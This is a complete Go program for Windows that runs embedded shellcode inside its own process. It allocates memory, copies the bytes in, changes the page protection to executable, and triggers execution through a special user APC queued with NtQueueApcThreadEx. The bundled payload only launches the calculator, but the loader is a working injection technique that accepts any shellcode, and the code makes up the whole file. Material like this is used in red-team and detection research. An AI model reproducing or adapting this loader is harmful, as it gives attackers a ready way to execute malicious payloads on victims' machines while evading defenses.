// +build windows /* This program executes shellcode in the current process using the following steps 1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write 2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space 3. Change the memory page permissions to Execute/Read with VirtualProtect 4. Get a handle to the current thread 4. Execute the shellcode in the current thread by creating a "Special User APC" through the NtQueueApcThreadEx function References: 1. https://repnz.github.io/posts/apc/user-apc/ 2. https://docs.rs/ntapi/0.3.1/ntapi/ntpsapi/fn.NtQueueApcThreadEx.html 3. https://0x00sec.org/t/process-injection-apc-injection/24608 4. https://twitter.com/aionescu/status/992264290924032005 5. http://www.opening-windows.com/techart_windows_vista_apc_internals2.htm#_Toc229652505 */ package main import ( "encoding/hex" "flag" "fmt" "log" "unsafe" // Sub Repositories "golang.org/x/sys/windows" ) const ( // MEM_COMMIT is a Windows constant used with Windows API calls MEM_COMMIT = 0x1000 // MEM_RESERVE is a Windows constant used with Windows API calls MEM_RESERVE = 0x2000 // PAGE_EXECUTE_READ is a Windows constant used with Windows API calls PAGE_EXECUTE_READ = 0x20 // PAGE_READWRITE is a Windows constant used with Windows API calls PAGE_READWRITE = 0x04 ) // https://docs.microsoft.com/en-us/windows/win32/midl/enum const ( QUEUE_USER_APC_FLAGS_NONE = iota QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC QUEUE_USER_APC_FLGAS_MAX_VALUE ) func main() { verbose := flag.Bool("verbose", false, "Enable verbose output") debug := flag.Bool("debug", false, "Enable debug output") flag.Parse() // Pop Calc Shellcode shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3") if errShellcode != nil { log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error())) } if *debug { fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll...") } kernel32 := windows.NewLazySystemDLL("kernel32.dll") ntdll := windows.NewLazySystemDLL("ntdll.dll") if *debug { fmt.Println("[DEBUG]Loading VirtualAlloc, VirtualProtect, and RtlCopyMemory procedures...") } VirtualAlloc := kernel32.NewProc("VirtualAlloc") VirtualProtect := kernel32.NewProc("VirtualProtect") GetCurrentThread := kernel32.NewProc("GetCurrentThread") RtlCopyMemory := ntdll.NewProc("RtlCopyMemory") NtQueueApcThreadEx := ntdll.NewProc("NtQueueApcThreadEx") if *debug { fmt.Println("[DEBUG]Calling VirtualAlloc for shellcode...") } addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE) if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." { log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error())) } if addr == 0 { log.Fatal("[!]VirtualAlloc failed and returned 0") } if *verbose { fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode))) } if *debug { fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory...") } _, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." { log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error())) } if *verbose { fmt.Println("[-]Shellcode copied to memory") } if *debug { fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ...") } oldProtect := PAGE_READWRITE _, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect))) if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." { log.Fatal(fmt.Sprintf("Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error())) } if *verbose { fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ") } if *debug { fmt.Println("[DEBUG]Calling GetCurrentThread...") } thread, _, err := GetCurrentThread.Call() if err.Error() != "The operation completed successfully." { log.Fatal(fmt.Sprintf("Error calling GetCurrentThread:\n%s", err)) } if *verbose { fmt.Printf("[-]Got handle to current thread: %v\n", thread) } if *debug { fmt.Println("[DEBUG]Calling NtQueueApcThreadEx...") } //USER_APC_OPTION := uintptr(QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC) _, _, err = NtQueueApcThreadEx.Call(thread, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, uintptr(addr), 0, 0, 0) if err.Error() != "The operation completed successfully." { log.Fatal(fmt.Sprintf("Error calling NtQueueApcThreadEx:\n%s", err)) } if *verbose { fmt.Println("[-]Queued special user APC") } if *verbose { fmt.Println("[+]Shellcode Executed") } } // export GOOS=windows GOARCH=amd64;go build -o goNtQueueApcThreadEx-Local.exe cmd/NtQueueApcThreadEx-Local/main.go
